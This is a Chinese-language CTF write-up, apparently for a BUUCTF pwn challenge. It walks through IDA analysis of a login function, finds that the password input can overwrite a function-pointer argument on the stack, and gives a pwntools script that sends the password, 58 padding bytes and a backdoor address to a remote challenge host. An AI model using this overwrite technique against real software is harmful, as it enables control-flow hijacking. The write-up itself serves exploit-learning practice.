这个题目主要考察了函数间的参数的的具体分析

1

先检查保护,有canary保护

在ida中静态分析一下

2

有个账号密码的输入和检查,漏洞一般就是在账号密码输入的地方

先运行看看什么情况

4

5

发现只要输入对了密码,就会出现这样的异常,在ida查看这个异常的函数

6

发现只要输入对了密码就会跳转到上面的函数

所以要来找找a1的来源

7

rax就是a1

也就是外面的&v7

12

点开8

9

发现v7是rbp+var_18

rbp=rsp

在下面输入函数中

10

11

同样rbp=rsp

这两个函数见rsp的值是没有发生变化的

故可在密码处通过覆盖得到改变a1

13

计算偏移即可

0x60-0xf(2jctf_pa5sw0rd)-0x18=58

后面就是a1覆盖上bookdoor14

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#p=process('./pwn')
p=remote('node5.buuoj.cn',29903)
elf=ELF('./pwn')

bookdoor=0x400e88

payload1=b'123'

payload2=b'2jctf_pa5sw0rd'+b'\x00'*58+p64(bookdoor)

p.sendlineafter('username:',payload1)
p.sendlineafter('password:',payload2)


p.interactive()